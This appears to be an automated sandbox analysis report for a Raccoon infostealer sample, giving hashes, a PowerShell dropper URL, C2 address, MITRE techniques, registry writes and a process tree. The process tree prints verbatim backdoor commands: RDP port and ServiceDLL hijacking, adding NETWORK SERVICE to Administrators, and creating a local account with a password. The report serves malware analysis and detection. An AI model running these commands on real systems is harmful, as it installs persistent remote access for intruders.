raccoon | 1555f744c779e3ce93f92b454ad2092e136622c39c21eca20125dd79cdf8fb94

Analysis

max time kernel
76s
max time network
113s
platform
windows10_x64
resource
win10v20210408
submitted
02-06-2021 17:28

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General

Target

144a972ebcac8d04b109130673570b6d.exe
Size

569KB
MD5

144a972ebcac8d04b109130673570b6d
SHA1

1c5aeea1afeb68b46b3f6dba3c63f91219bcc8fe
SHA256

1555f744c779e3ce93f92b454ad2092e136622c39c21eca20125dd79cdf8fb94
SHA512

9a76cfe4c828b069401f689ba05ebe459ba6a7d02c5e08dce06c8a49d6ba7c48447f3272be1a70d0939fde0903641f2a7bc812ce0167bc84e6d4f95e01eb0b35

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
19	3568	powershell.exe
21	3568	powershell.exe
22	3568	powershell.exe
23	3568	powershell.exe
25	3568	powershell.exe
27	3568	powershell.exe
29	3568	powershell.exe
31	3568	powershell.exe
33	3568	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3880	xDWsdH0odi.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000a000000000695-237.dat	upx
behavioral2/files/0x0009000000015534-238.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
4024	144a972ebcac8d04b109130673570b6d.exe
4024	144a972ebcac8d04b109130673570b6d.exe
4024	144a972ebcac8d04b109130673570b6d.exe
4024	144a972ebcac8d04b109130673570b6d.exe
4024	144a972ebcac8d04b109130673570b6d.exe
4024	144a972ebcac8d04b109130673570b6d.exe
3392	Process not Found
3392	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_pweeyfej.1y1.ps1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_opz0xrzj.lom.psm1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID413.tmp	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID382.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID3E1.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID3F1.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID402.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1832	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 6ead5207ab2cd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1216	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2432	powershell.exe
2432	powershell.exe
2432	powershell.exe
1676	powershell.exe
1676	powershell.exe
1676	powershell.exe
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe
3856	powershell.exe
3856	powershell.exe
3856	powershell.exe
2432	powershell.exe
2432	powershell.exe
2432	powershell.exe
3568	powershell.exe
3568	powershell.exe
3568	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2432	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeIncreaseQuotaPrivilege	1676	powershell.exe
Token: SeSecurityPrivilege	1676	powershell.exe
Token: SeTakeOwnershipPrivilege	1676	powershell.exe
Token: SeLoadDriverPrivilege	1676	powershell.exe
Token: SeSystemProfilePrivilege	1676	powershell.exe
Token: SeSystemtimePrivilege	1676	powershell.exe
Token: SeProfSingleProcessPrivilege	1676	powershell.exe
Token: SeIncBasePriorityPrivilege	1676	powershell.exe
Token: SeCreatePagefilePrivilege	1676	powershell.exe
Token: SeBackupPrivilege	1676	powershell.exe
Token: SeRestorePrivilege	1676	powershell.exe
Token: SeShutdownPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeSystemEnvironmentPrivilege	1676	powershell.exe
Token: SeRemoteShutdownPrivilege	1676	powershell.exe
Token: SeUndockPrivilege	1676	powershell.exe
Token: SeManageVolumePrivilege	1676	powershell.exe
Token: 33	1676	powershell.exe
Token: 34	1676	powershell.exe
Token: 35	1676	powershell.exe
Token: 36	1676	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeIncreaseQuotaPrivilege	2772	powershell.exe
Token: SeSecurityPrivilege	2772	powershell.exe
Token: SeTakeOwnershipPrivilege	2772	powershell.exe
Token: SeLoadDriverPrivilege	2772	powershell.exe
Token: SeSystemProfilePrivilege	2772	powershell.exe
Token: SeSystemtimePrivilege	2772	powershell.exe
Token: SeProfSingleProcessPrivilege	2772	powershell.exe
Token: SeIncBasePriorityPrivilege	2772	powershell.exe
Token: SeCreatePagefilePrivilege	2772	powershell.exe
Token: SeBackupPrivilege	2772	powershell.exe
Token: SeRestorePrivilege	2772	powershell.exe
Token: SeShutdownPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeSystemEnvironmentPrivilege	2772	powershell.exe
Token: SeRemoteShutdownPrivilege	2772	powershell.exe
Token: SeUndockPrivilege	2772	powershell.exe
Token: SeManageVolumePrivilege	2772	powershell.exe
Token: 33	2772	powershell.exe
Token: 34	2772	powershell.exe
Token: 35	2772	powershell.exe
Token: 36	2772	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeIncreaseQuotaPrivilege	3856	powershell.exe
Token: SeSecurityPrivilege	3856	powershell.exe
Token: SeTakeOwnershipPrivilege	3856	powershell.exe
Token: SeLoadDriverPrivilege	3856	powershell.exe
Token: SeSystemProfilePrivilege	3856	powershell.exe
Token: SeSystemtimePrivilege	3856	powershell.exe
Token: SeProfSingleProcessPrivilege	3856	powershell.exe
Token: SeIncBasePriorityPrivilege	3856	powershell.exe
Token: SeCreatePagefilePrivilege	3856	powershell.exe
Token: SeBackupPrivilege	3856	powershell.exe
Token: SeRestorePrivilege	3856	powershell.exe
Token: SeShutdownPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeSystemEnvironmentPrivilege	3856	powershell.exe
Token: SeRemoteShutdownPrivilege	3856	powershell.exe
Token: SeUndockPrivilege	3856	powershell.exe
Token: SeManageVolumePrivilege	3856	powershell.exe
Token: 33	3856	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4024 wrote to memory of 3880	4024	144a972ebcac8d04b109130673570b6d.exe	78
PID 4024 wrote to memory of 3880	4024	144a972ebcac8d04b109130673570b6d.exe	78
PID 4024 wrote to memory of 3500	4024	144a972ebcac8d04b109130673570b6d.exe	79
PID 4024 wrote to memory of 3500	4024	144a972ebcac8d04b109130673570b6d.exe	79
PID 4024 wrote to memory of 3500	4024	144a972ebcac8d04b109130673570b6d.exe	79
PID 3500 wrote to memory of 1832	3500	cmd.exe	81
PID 3500 wrote to memory of 1832	3500	cmd.exe	81
PID 3500 wrote to memory of 1832	3500	cmd.exe	81
PID 3880 wrote to memory of 2432	3880	xDWsdH0odi.exe	82
PID 3880 wrote to memory of 2432	3880	xDWsdH0odi.exe	82
PID 2432 wrote to memory of 1480	2432	powershell.exe	84
PID 2432 wrote to memory of 1480	2432	powershell.exe	84
PID 1480 wrote to memory of 3680	1480	csc.exe	85
PID 1480 wrote to memory of 3680	1480	csc.exe	85
PID 2432 wrote to memory of 1676	2432	powershell.exe	86
PID 2432 wrote to memory of 1676	2432	powershell.exe	86
PID 2432 wrote to memory of 2772	2432	powershell.exe	89
PID 2432 wrote to memory of 2772	2432	powershell.exe	89
PID 2432 wrote to memory of 3856	2432	powershell.exe	91
PID 2432 wrote to memory of 3856	2432	powershell.exe	91
PID 2432 wrote to memory of 2168	2432	powershell.exe	93
PID 2432 wrote to memory of 2168	2432	powershell.exe	93
PID 2432 wrote to memory of 1216	2432	powershell.exe	94
PID 2432 wrote to memory of 1216	2432	powershell.exe	94
PID 2432 wrote to memory of 3840	2432	powershell.exe	95
PID 2432 wrote to memory of 3840	2432	powershell.exe	95
PID 2432 wrote to memory of 1904	2432	powershell.exe	96
PID 2432 wrote to memory of 1904	2432	powershell.exe	96
PID 1904 wrote to memory of 4076	1904	net.exe	97
PID 1904 wrote to memory of 4076	1904	net.exe	97
PID 2432 wrote to memory of 3676	2432	powershell.exe	98
PID 2432 wrote to memory of 3676	2432	powershell.exe	98
PID 3676 wrote to memory of 4024	3676	cmd.exe	99
PID 3676 wrote to memory of 4024	3676	cmd.exe	99
PID 4024 wrote to memory of 2096	4024	cmd.exe	100
PID 4024 wrote to memory of 2096	4024	cmd.exe	100
PID 2096 wrote to memory of 196	2096	net.exe	101
PID 2096 wrote to memory of 196	2096	net.exe	101
PID 2432 wrote to memory of 1532	2432	powershell.exe	102
PID 2432 wrote to memory of 1532	2432	powershell.exe	102
PID 1532 wrote to memory of 2100	1532	cmd.exe	103
PID 1532 wrote to memory of 2100	1532	cmd.exe	103
PID 2100 wrote to memory of 2988	2100	cmd.exe	104
PID 2100 wrote to memory of 2988	2100	cmd.exe	104
PID 2988 wrote to memory of 1480	2988	net.exe	105
PID 2988 wrote to memory of 1480	2988	net.exe	105
PID 1916 wrote to memory of 2204	1916	cmd.exe	109
PID 1916 wrote to memory of 2204	1916	cmd.exe	109
PID 2204 wrote to memory of 1800	2204	net.exe	110
PID 2204 wrote to memory of 1800	2204	net.exe	110
PID 2220 wrote to memory of 3940	2220	cmd.exe	113
PID 2220 wrote to memory of 3940	2220	cmd.exe	113
PID 3940 wrote to memory of 3568	3940	net.exe	114
PID 3940 wrote to memory of 3568	3940	net.exe	114
PID 4020 wrote to memory of 3164	4020	cmd.exe	117
PID 4020 wrote to memory of 3164	4020	cmd.exe	117
PID 3164 wrote to memory of 3912	3164	net.exe	118
PID 3164 wrote to memory of 3912	3164	net.exe	118
PID 1216 wrote to memory of 3144	1216	cmd.exe	121
PID 1216 wrote to memory of 3144	1216	cmd.exe	121
PID 3144 wrote to memory of 3680	3144	net.exe	122
PID 3144 wrote to memory of 3680	3144	net.exe	122
PID 1564 wrote to memory of 1488	1564	cmd.exe	125
PID 1564 wrote to memory of 1488	1564	cmd.exe	125

C:\Users\Admin\AppData\Local\Temp\144a972ebcac8d04b109130673570b6d.exe
"C:\Users\Admin\AppData\Local\Temp\144a972ebcac8d04b109130673570b6d.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4024
- C:\Users\Admin\AppData\Local\Temp\xDWsdH0odi.exe
  "C:\Users\Admin\AppData\Local\Temp\xDWsdH0odi.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\h4sypmra\h4sypmra.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1480
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES78A0.tmp" "c:\Users\Admin\AppData\Local\Temp\h4sypmra\CSC42F3E51187FF42D19E64DFCAFA75AF42.TMP"
        5⤵
        
        PID:3680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3856
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:2168
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1216
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:3840
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1904
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:4076
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3676
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4024
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2096
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:196
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1532
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2100
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2988
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1480
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1756
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:3144
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\144a972ebcac8d04b109130673570b6d.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1832

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1800

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc fimlDzwq /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\system32\net.exe
  net.exe user wgautilacc fimlDzwq /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc fimlDzwq /add
    3⤵
    PID:3568

C:\Windows\System32\cmd.exe
